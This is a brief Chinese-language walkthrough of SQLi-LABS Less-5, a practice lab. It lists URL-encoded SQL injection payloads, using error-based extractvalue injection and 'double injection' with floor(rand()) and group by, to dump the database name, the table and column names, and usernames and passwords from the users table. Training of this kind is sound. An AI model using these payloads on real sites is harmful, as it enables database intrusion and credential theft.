[SQLi-LABS] Less-5

可以用报错注入,联合查询和双注入
报错:

/Less-5/?id=1'--+
/Less-5/?id=1'and extractvalue(1, concat(0x7e, (select version()),0x7e))--+
/Less-5/?id=1'and extractvalue(1, concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'))--+  //爆表
/Less-5/?id=1'and extractvalue(1, concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),'~'))--+  //爆字段
/Less-5/?id=1'and extractvalue(1,concat('~',(select password from users limit 0,1),'~'))--+  //爆内容

双注入:

/Less-5/?id=1' union select 1,count(*),concat((select database()),floor(rand()*2)) as a from information_schema.columns group by 3 --+  //爆库
/Less-5/?id=1' union select 1,count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema=database()   			  			 			),floor(rand()*2)) as a from information_schema.columns group by 3 --+  //爆表
/Less-5/?id=1' union select 1,count(*),concat((select group_concat(column_name) from information_schema.columns where table_name='users'),floor(rand()*2)) as a from information_schema.columns group by 3 --+  //爆字段
/Less-5/?id=1' union select 1,count(*),concat((select  username from security.users limit 0,1),floor(rand()*2)) as a from information_schema.columns group by 3 --+  //爆内容

你可能感兴趣的:([SQLi-LABS])